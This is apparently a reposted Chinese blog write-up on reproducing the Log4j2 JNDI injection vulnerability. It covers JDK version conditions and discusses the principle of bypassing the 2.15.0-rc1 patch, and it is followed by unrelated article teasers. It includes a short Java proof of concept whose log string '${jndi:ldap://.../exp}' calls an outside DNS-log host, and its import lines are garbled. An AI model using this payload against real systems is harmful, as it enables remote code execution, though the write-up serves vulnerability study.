Log4j2漏洞复现补丁绕过

news2025/4/27 19:39:43

 漏洞复现
这里我一共使用了两个jdk版本

 8u202的情况比较特殊,其实我今天凌晨在家里用的也是8u202的版本,失败了。今天来公司也是用的8u202版本的jdk,成功了。我仔细研究了两者的不同,我发现唯一不同的就是我公司这个idea启的proiect带有springboot的库.然后看了默安的一篇文章

 JDK版本<8u191,可通过LDAP引入外部JNDI Reference:

 

 JDK版本>=8u191,当存在 org.apache.naming.factory.BeanFactory 与com.springsource.org.apache.el 等依赖时,可在返回的JNDI Reference中指定相应工厂类及setter方法,或是由LDAP引入序列化链实现RCE:

 明白了其中的原因还可以参考以往的jndi注入

 然后为了方便本地测试,就把jdk版本降下来了,高版本要搞也可以,需要加参数
首先拉一个maven项目,把dependency搞上去

然后直接搞上一个poc 

import org.apache.ogging.Tog4j.LogManager;import org.apache.Togging.log4j.Logger;
public class Log4j2 {
private static final Logger logger = LogManager.getLogger(Log4j2.class);
public static void main(String[] args) {
logger.error("${jndi: dap://4561b2f7.dns.1433.eu.org/exp}");
}
}

复现成功

DNSLOG平台

 

漏洞触发没有难度,就是个jndi注入撸一发各家的情报

漏洞影响版本2.0 <= Apache Log4j 2 <= 2.14.1
安恒信息应急响应中心已验证该漏洞的可利用性

安恒这个,我猜测和我遇到了一样的问题,所以没从本地复现,我猜测是这样,不一定对。

完整POC代码已在360漏洞云情报平台 (https://loudongyun.360.cn/) 发布,360漏洞云情报平台用户可通过平台下载进行安全自检

360,用的是挂恶意类的方法来做复现,弹个计算器,我也来弹一个吧

 和fastjson一个玩法
这里看看自家怎么复现的

 他这里是用的System.setProperty来做的用的是rmi,和网上通用的ldap的poc不同,也是去请求一个外链,协议不同而已,不过通常情况下rmi限制更多详细用法可以参考fastjson的利用

 最终的触发点在lookup上,然后用lookup去发请求然后jndiName是用户可控的,也就是在log中的记录因此导致了漏洞产生

补丁绕过

 

 这里的绕过指的是绕过
log4j-2.15.0-rc1
这个版本
exp这里我在公网上还没看到有人发出来,这里就不给exp了,讲一下原理,感兴趣可以自己构造首先看一看新版和老版的对比

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/631900.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NLP——分布式语义 Distributional Semantics:Word Vectors;Word2Vec

文章目录 传统语义数据集的缺点分布式语义Word Vectors 词向量Count-based 基于统计的方法Document 作为上下文 —— 向量空间模型&#xff08;VSM&#xff09;TF-IDF 更加有效的编码方式降维Singular Value Decomposition neighbor words 作为上下文 基于深度学习的方法Word2V…

highlight clock tree 高亮时钟树的方法

当分析clock tree需要在图形界面highlight clock tree时&#xff0c;最朴实无华的方法就是贴报告&#xff0c;除此之外这里也分享一下用命令的方法。 1.Imported Path Pins 1&#xff09;Highlight > Color By > Imported Path Pins 2&#xff09;report_timing icc2…

【MySQL 数据库】9、存储过程

目录 一、存储过程是什么二、存储过程的基本语法三、MySQL 中的变量(1) 系统变量(2) 用户自定义变量(3) 局部变量 四、if 判断五、参数传递和返回值六、case 语句七、while 循环八、repeat 循环九、loop 循环十、游标十一、条件处理程序 一、存储过程是什么 &#x1f331; 存储…

Linux进程间通信【消息队列、信号量】

✨个人主页&#xff1a; 北 海 &#x1f389;所属专栏&#xff1a; Linux学习之旅 &#x1f383;操作环境&#xff1a; CentOS 7.6 阿里云远程服务器 文章目录 &#x1f307;前言&#x1f3d9;️正文1、消息队列1.1、什么是消息队列&#xff1f;1.2、消息队列的数据结构1.3、消…

交通物流模型 | Python实现基于张量分解的交通流量时空模式挖掘(出租车车载GPS数据、公交卡刷卡数据、POI的分布数据)

文章目录 效果一览文章概述研究内容源码设计参考资料效果一览 文章概述 一般出行行程通常都由某种明确目的驱使,例如上班、购物或娱乐,出行的起始区域因其承担功能的不同,通常能够反映出用户的出行目的,于此同时,从宏观来看,区域之间的交通流量在一天内的变化规律也能够反…

【数据结构与算法】03 队列(顺序队列--循环队列--优先级队列--链队列)

一、概念1.1 队列的基本概念1.2 队列的顺序存储结构1.21 顺序队列&#xff08;静态队列&#xff09;1.22 循环队列1.23 优先级队列 1.3 队列的链式存储结构 二、C语言实现2.1 顺序存储2.11 顺序队列2.12 循环队列2.13 优先级队列 2.2 链式存储 一、概念 1.1 队列的基本概念 队…

【python】—— python的基本介绍并附安装教程

前言&#xff1a; 今天&#xff0c;我将给大家讲解关于python的基本知识&#xff0c;让大家对其有个基本的认识并且附上相应的安装教程以供大家参考。接下来&#xff0c;我们正式进入今天的文章&#xff01;&#xff01;&#xff01; 目录 前言 &#xff08;一&#xff09;P…

【Linux】互斥量原理的实现

深刻理解互斥锁 文章目录 前言一、demo版的线程封装二、demo版的锁封装总结 前言 为了实现互斥锁操作 , 大多数体系结构都提供了 swap 或 exchange 指令 , 该指令的作用是把寄存器和内存单元的数据相交换, 由于只有一条指令 , 保证了原子性 , 即使是多处理器平台 , 访问内存的总…

第10讲:深入剖析 Agent 插件原理,无侵入性埋点

AbstractClassEnhancePluginDefine 核心实现 在开始之前&#xff0c;先简单回顾上一课时中关于 AbstractClassEnhancePluginDefine 的一个核心知识点&#xff1a;AbstractClassEnhancePluginDefine 是所有插件的父类&#xff0c;SkywalkingAgent.Transformer 会通过其 enhance…

信号完整性:反射

反射是怎么形成的 信号的反射和互连线的阻抗密切相关。反射的最直接原因是互连线的阻抗发生了突然变化&#xff0c;只要互连线的阻抗不连续的点&#xff0c;该处就会发生反射。 信号是以电磁波的形式在走线中传播的&#xff0c;如果从传统的电路理论角度去看&#xff0c;是无…

YOLOv5使用自定义数据集实验

上一篇博文中介绍了YOLOv7训练自定义数据集&#xff0c;在这篇文章中&#xff0c;我们主要记录YOLOv5模型的实验过程&#xff0c;用于对比实验。 YOLOv5与YOLOv7毕竟一母同胞&#xff0c;因此部署起来也是极为类似。 数据集 数据集使用的与YOLOv7的实验数据集一样&#xff0c;…

windows服务器自带IIS搭建网站并发布公网访问

文章目录 1.前言2.Windows网页设置2.1 Windows IIS功能设置2.2 IIS网页访问测试 3. Cpolar内网穿透3.1 下载安装Cpolar3.2 Cpolar云端设置3.3 Cpolar本地设置 4.公网访问测试5.结语 转载自远程源码文章&#xff1a;【IIS搭建网站】本地电脑做服务器搭建web站点并公网访问「内网…

VS2019生成和使用lib、dll文件

叠甲&#xff1a;本文非常简略&#xff0c;方法非常朴素&#xff0c;仅供参考。 目录 lib文件 生成lib文件 使用lib文件 dll文件 生成dll文件 使用dll文件 lib文件 生成lib文件 新建项目libTest。 右键项目→属性→配置属性→常规→配置类型&#xff0c;选择“静态库…

【Java】表白墙终章-飞流直下的“甜言蜜语”-瀑布流式布局

飞流直下三千尺&#xff01; 文章目录 【Java】表白墙终章-飞流直下的“甜言蜜语”-瀑布流式布局1. 效果前后对比2. 瀑布流式布局原理思想3. 约定前后端接口4. 后端代码4.1 修改Love类的定义4.2 修改doPost方法4.3 修改save方法4.4 修改doGet方法4.5 修改load方法 5. 前端瀑布流…

面试总结个人版

一、面试题 java 集合 &#xff0c; spring springmvc springboot springcloud 数据库相关的&#xff0c; redis 相关 &#xff0c;mq 相关 &#xff0c;结合业务的场景题 1、part one 集合 HashMap底层原理 HashMap是基于哈希表的Map接口的非同步实现。元素以键值对的形式存…

asp.net教师调课系统VS开发sqlserver数据库web结构c#编程Microsoft Visual Studio

一、源码特点 asp.net教师调课管理系统 是一套完善的web设计管理系统&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为vs2010&#xff0c;数据库为sqlserver2008&#xff0c;使用c#语言开发 asp.net教师调课系统VS开发sqlser…

deadline用WebService提交Job

官方文档 网站链接 进入rest API&#xff0c;点击jobs&#xff0c;找到submit job 这里可以看到消息体需要用到JobInfo和PluginInfo这两个关键的字典&#xff08;json object&#xff09; 拿到对应的键值对 为了填写url请求的消息体 我们需要拿到必须参数的键值对 点击双击…

如何延长电脑硬盘的使用寿命?

在日常使用电脑过程中&#xff0c;一定要做好硬盘的保养和维护&#xff0c;一旦硬盘损坏&#xff0c;保存在硬盘上的数据就会丢失&#xff0c;而且找回数据也是一件很费功夫的事情&#xff0c;甚至有可能永远也找不回来。所以日常工作中定期对资料进行备份&#xff0c;做好电脑…

【算法与数据结构】24、LeetCode两两交换链表中的节点

文章目录 一、题目二、解法三、完整代码 所有的LeetCode题解索引&#xff0c;可以看这篇文章——【算法和数据结构】LeetCode题解。 一、题目 二、解法 思路分析&#xff1a;题目要求两两交换节点。在链表当中非常重要就是下一个节点&#xff0c;一旦丢失&#xff0c;这个节点后…

IDL基础语法

1 创建变量 命名规则&#xff1a;变量名必须以字母开头。它们可以包括其它字母&#xff0c;数字&#xff0c;下划线&#xff0c;美元符号。 以下是创建不同数据类型的方法&#xff0c;我们只需了解即可&#xff0c;知道如何创建整型【16位有符号长整型】和浮点型 PRO learn;创…